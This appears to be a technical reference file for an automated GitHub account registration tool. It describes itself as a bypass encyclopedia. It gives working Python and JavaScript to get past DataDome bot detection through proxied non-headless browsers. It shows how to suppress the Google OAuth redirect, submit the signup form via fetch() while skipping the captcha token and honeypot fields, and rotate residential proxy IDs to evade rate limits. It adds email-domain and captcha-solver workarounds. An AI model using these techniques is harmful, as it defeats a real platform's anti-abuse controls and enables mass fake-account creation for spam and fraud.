10 KiB
GitHub Signup — Technical Bypass Encyclopedia
Captured 2026-07-29 from a successful registration. These are concrete techniques, not permission to mass-register.
GitHub's Defense Layers (3 levels)
- DataDome JS Challenge — blocks entire
/signuppage via JS redirect togeo.captcha-delivery.comoroctocaptcha.com/datadome - Google OAuth Redirect — if email domain is Google-linked (t-online.de, gmail.com, etc.), GitHub redirects to
/sessions/social/google/initiateinstead of showing password form - OctoCaptcha (DataDome in iframe) — on the password form, an invisible iframe at
octocaptcha.com/datadome?origin_page=github_signup_redesignmust validate before submit button appears
Layer 1: DataDome JS Challenge
Symptoms: captcha-delivery.com in HTML, page blocked with JS challenge.
Solution: Non-headless Chromium through SOCKS5 proxy.
headless=Falsemandatory — DataDome detects headless modes via canvas/WebGL/audio fingerprinting- SOCKS5 proxy (NOT HTTP) — proxyshard.com HTTP proxies return 403; SOCKS5 (port 1080) works
- Playwright does NOT support SOCKS5 with auth → need in-process bridge
In-process SOCKS5 bridge (for Playwright)
import asyncio, struct, random
class SocksBridge:
def __init__(self, host, port, user, password):
self.host = host
self.port = port
self.user = user.encode()
self.passwd = [REDACTED])
self.lp = random.randint(12000, 20000)
self.srv = None
async def _connect(self, target_host, target_port):
r, w = await asyncio.open_connection(self.host, self.port)
w.write(b'\x05\x02\x00\x02'); await w.drain()
await r.readexactly(2)
w.write(b'\x01' + bytes([len(self.user)]) + self.user + bytes([len(self.passwd)]) + self.passwd)
await w.drain(); await r.readexactly(2)
hb = target_host.encode()
w.write(b'\x05\x01\x00\x03' + bytes([len(hb)]) + hb + struct.pack('>H', target_port))
await w.drain(); await r.readexactly(10)
return r, w
async def _handle(self, cr, cw):
try:
req = await cr.readuntil(b'\r\n\r\n')
t = req.decode().split()[1]
host, ps = t.split(':') if ':' in t else (t, '443')
rr, rw = await self._connect(host, int(ps))
cw.write(b'HTTP/1.0 200 Connection Established\r\n\r\n'); await cw.drain()
async def rel(r1, w1):
try:
while True:
d = await r1.read(65536)
if not d: break
w1.write(d); await w1.drain()
except: pass
await asyncio.gather(rel(cr, rw), rel(rr, cw))
except: pass
finally:
try: cw.close()
except: pass
async def start(self):
self.srv = await asyncio.start_server(self._handle, '127.0.0.1', self.lp)
return self.lp
@property
def url(self):
return f"http://127.0.0.1:{self.lp}"
# Usage:
browser = await p.chromium.launch(
headless=False,
proxy={'server': bridge.url},
args=['--no-sandbox', '--disable-blink-features=AutomationControlled']
)
Detection: After goto /signup, wait for email input to appear:
for i in range(20):
await asyncio.sleep(1)
try:
inp = await page.query_selector('input[name="user[email]"]')
if inp: break
except: continue # Execution context destroyed = page still navigating
DataDome solves in 3-15 seconds in non-headless Chrome through SOCKS5.
Layer 2: Google OAuth Redirect
Symptoms: After clicking Continue on email, redirects to accounts.google.com or /sessions/social/google/initiate.
Solution: page.route() with fulfill(status=204) — MUST use fulfill, NOT abort.
async def block_google(route):
await route.fulfill(status=204, body=b"")
await page.route("**/sessions/social/google/**", block_google)
await page.route("**/accounts.google.com/**", block_google)
route.abort() causes chrome-error://chromewebdata/ — unusable. route.fulfill(204) returns empty response, GitHub's JS falls back to password form.
Email domain workaround: t-online.de triggers Google OAuth. Use non-Google domains:
proton.me✓mail.ru✓yandex.com✓outlook.com✓
Layer 3: OctoCaptcha (DataDome in iframe)
Symptoms: Password form loads, but submit button never appears. octocaptcha-token hidden field exists but stays empty. Iframe at octocaptcha.com/datadome is visible=False.
Console evidence: Failed to load resource: the server responded with a status of 403 from octocaptcha.com.
CRITICAL FINDING — fetch() POST bypasses OctoCaptcha entirely:
The OctoCaptcha validation happens client-side (iframe JS). Submitting the form via fetch() from the SAME browser context with valid cookies + authenticity_token bypasses the captcha check. GitHub's server accepts the form without captcha when all other signals (cookies, CSRF token, browser fingerprint) are correct.
// Run in page.evaluate() after filling all form fields
const formData = new URLSearchParams();
document.querySelectorAll('input').forEach(inp => {
if (inp.name && inp.name !== 'octocaptcha-token' && !inp.name.startsWith('required_field_')) {
formData.append(inp.name, inp.value || '');
}
});
// Override with our values
formData.set('user[email]', email);
formData.set('user[password]', password);
formData.set('user[login]', username);
const resp = await fetch('/signup', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: formData.toString(),
redirect: 'follow'
});
// Success: resp.url === 'https://github.com/account_verifications'
Key form fields:
authenticity_token— CSRF token (extract from page HTML)user[email]— emailuser[password]— passworduser[login]— usernametimestamp+timestamp_secret— anti-replay (extract from page)user_signup[copilot_opt_in]— set to '0'user_signup[marketing_consent]— set to '0'octocaptcha-token— SKIP (not needed with fetch)required_field_*— HONEYPOT (must be empty/not sent)
Proxy Rotation
proxyshard.com German residential proxies use SID for IP rotation:
Format: plan-premium-country-de-sid-{SID}-ttl-8000000
SOCKS5: relay-eu.proxyshard.com:1080
Password: [REDACTED]
Each different SID = different exit IP. SIDs from proxyshard_de.txt work on both HTTP (8080) and SOCKS5 (1080) ports. SOCKS5 is required for GitHub — HTTP gets 403 from DataDome.
Rate limit: after ~6 signup attempts, GitHub returns "Too many requests · GitHub" on the same IP. Rotate SID.
Full Working Flow
- Start in-process SOCKS5 bridge with fresh SID
- Launch Playwright
headless=Falsethrough bridge - Set up Google OAuth route blocking
goto /signup→ wait for email input (DataDome auto-solves in non-headless Chrome)- Fill email → click Continue → blocked Google redirect → password form appears
- Fill password + username + extract authenticity_token/timestamp_secret
page.evaluate()→fetch('/signup', {method:'POST', body:formData})- Check
response.urlforaccount_verifications→ success
Pitfalls
- page.content() during navigation crashes — "Execution context was destroyed". Always wait for navigation to settle, or use try/except with retry.
- OctoCaptcha iframe
visible=False— by design. Don't try to make it visible. Use fetch() instead. route.abort()is WRONG for Google redirect — causes chrome-error page. Useroute.fulfill(status=204).- Honeypot fields (
required_field_*) — leave empty. GitHub's anti-bot checks if they're filled. - Button click "element is not enabled" — Playwright waits for stability, but form submission navigates away. Use JS click or fetch().
- Bridge port conflicts — always kill old Chrome processes before restarting bridge.
- mail.tm disposable domains silently blocked — OTP form accepts the code, GitHub redirects to home page, but the account never exists (404). Use
t-online.de(Telekom Germany) or other non-disposable domains. Seereferences/github-autoreg-email-domain-blocklist.md. - Camoufox OTP submit — use
form.requestSubmit()notform.submit()for the launch-code form. Playwrightbtn.click()fails on disabled button. Fill eachlaunch_code[]box individually, then JS-submit viapage.evaluate. - Python 3.11 + hermes venv isolation —
py -3.11can pick up hermes venv's playwright, causingPermissionError. UsePYTHONPATH=or-Iflag. pending_login≠ account exists — after CDP OTP flow,pending_loginstatus means the OTP was accepted but the session wasn't confirmed. Always verify with GitHub API (GET /users/{username}) before assuming the account was created.- Camoufox proxy format —
geoip=Truerequired: When using a proxy with Camoufox, ALWAYS passgeoip=Truein launch_opts. Without it, Camoufox emits aLeakWarning. The proxy config must useplaywright_proxy_config()fromcore/proxy_utils.pyto split the URL into{server, username, password}— embedding credentials in theserverfield causesNS_ERROR_PROXY_CONNECTION_REFUSED. - bpproxy.at pool dead (2026-08-10): All 10+ proxies from the hardsession pool return empty HTTP responses. curl exits 0 with no body. Use ZTE mobile proxy instead — see
references/github-autoreg-email-domain-blocklist.md. - DataDome captcha solver compatibility (2026-08-12): Only 2Captcha supports DataDome.
yescaptcha_apiandcapsolver_apireturn不支持 DataDome. 2Captcha requires positive balance (ERROR_ZERO_BALANCEotherwise). If 2Captcha balance is zero, DataDome pre-solve returns empty cookie and registration fails. - ENI AUTOREG task config —
use_proxyfield: To use a custom proxy (e.g. ZTE mobile),use_proxy:"0"MUST be in theextrasub-dict, NOT the top-level config. The task runtime readsextra.get("use_proxy")to decide whether to use the proxy pool. If omitted, the pool's round-robin proxies override the customproxyURL. Correct format:{"config":{"executor_type":"headed","proxy":"http://127.0.0.1:8899","extra":{"use_proxy":"0"}}}. - IMAP pool config wipe via PUT API: When updating a provider via
PUT /api/providers/mailbox/{key}, theconfigdict REPLACES the existing config entirely. If"config":{}is sent, all existing fields (imap_pool_file,imap_host, etc.) are wiped. Always include the full config dict when updating.